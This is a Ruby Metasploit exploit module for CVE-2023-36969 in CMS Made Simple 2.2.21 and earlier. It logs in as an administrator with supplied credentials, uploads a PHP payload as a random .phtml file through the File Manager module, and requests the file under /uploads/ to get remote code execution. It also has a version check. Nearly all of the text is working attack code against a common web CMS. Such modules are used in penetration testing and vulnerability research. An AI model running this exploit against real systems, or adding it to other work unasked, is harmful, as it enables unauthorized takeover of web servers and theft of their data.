##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::PhpEXE
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'CmsMadeSimple Authenticated File Manager RCE',
        'Description' => %q{
          CMS Made Simple <= v2.2.21 allows an authenticated administrator to upload files
          with the .phar or .phtml extensions, enabling execution of PHP code
          leading to RCE. The file can be executed by accessing its URL in the
          /uploads/ directory.

          Tested on v2.2.21, v2.2.18, v2.2.17, v2.2.16, v2.2.15, v2.2.14.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Okan Kurtuluş',	# Initial research
          'Mirabbas Ağalarov',	# EDB PoC
          'tastyrice'	# Metasploit Module
        ],
        'References' => [
          ['CVE', '2023-36969'],
          ['EDB', '51600']
        ],
        'Platform' => ['php'],
        'Arch' => ARCH_PHP,
        'Targets' => [
          [
            'Universal', {}
          ]
        ],
        'Privileged' => false,
        'DisclosureDate' => '2023-06-07',
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS]
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [true, 'Base directory path for cmsms', '/']),
        OptString.new('USERNAME', [true, 'Username to authenticate with', '']),
        OptString.new('PASSWORD', [true, 'Password to authenticate with', ''])
      ]
    )
  end

  def multipart_form_data(uri, data, message)
    send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'admin', uri),
      'method' => 'POST',
      'data' => data,
      'ctype' => "multipart/form-data; boundary=#{message.bound}",
      'keep_cookies' => true
    )
  end

  def check
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, '', 'index.php'),
      'method' => 'GET'
    )
    unless res && res.code == 200
      vprint_error('Connection Failed')
      return CheckCode::Unknown
    end

    set_cookie = res.get_cookies
    return CheckCode::Safe unless set_cookie&.match?(/^CMSSESSID/)

    html = res.get_html_document
    version = Rex::Version.new(html.at('p.copyright-info').text.scan(/\d+\.\d+\.\d+/).first)
    vprint_status("#{peer} - CMS Made Simple Version: #{version}")

    return CheckCode::Appears if version <= Rex::Version.new('2.2.21')

    CheckCode::Detected
  end

  def login
    data = {
      'username' => datastore['USERNAME'],
      'password' => datastore['PASSWORD'],
      'loginsubmit' => 'Submit'
    }
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'admin', 'login.php'),
      'method' => 'POST',
      'vars_post' => data,
      'keep_cookies' => true
    )
    fail_with(Failure::NoAccess, 'Authentication was unsuccessful') unless res&.code == 302 && cookie_jar.cookies && res.headers['Location'] =~ %r{/admin$}

    store_valid_credential(user: datastore['USERNAME'], private: datastore['PASSWORD'])
    vprint_good("#{peer} - Authentication was successful")
  end

  def send_file
    filename = "#{rand_text_alpha(8..12)}.phtml"
    c = cookie_jar.cookies.find { |cookie| cookie.name == '__c' }.value
    payload = get_write_exec_payload(unlink_self: true)

    # create the message with payload
    message = Rex::MIME::Message.new
    message.add_part('FileManager,m1_,upload,0', nil, nil, 'form-data; name="mact"')
    message.add_part(c, nil, nil, 'form-data; name="__c"')
    message.add_part('1', nil, nil, 'form-data; name="disable_buffer"')
    message.add_part(payload, nil, nil, "form-data; name=\"m1_files[]\"; filename=\"#{filename}\"")
    data = message.to_s

    # send payload
    payload_res = multipart_form_data('moduleinterface.php', data, message)
    fail_with(Failure::UnexpectedReply, 'Failed to upload the file') unless payload_res && payload_res.code == 200
    vprint_good("#{peer} - File uploaded #{filename}")

    # open shell
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'uploads', filename),
      'method' => 'GET'
    )
    return unless res && res.code == 404

    print_error("Shell #{shell_name} not found")
  end

  def exploit
    login
    send_file
  end
end
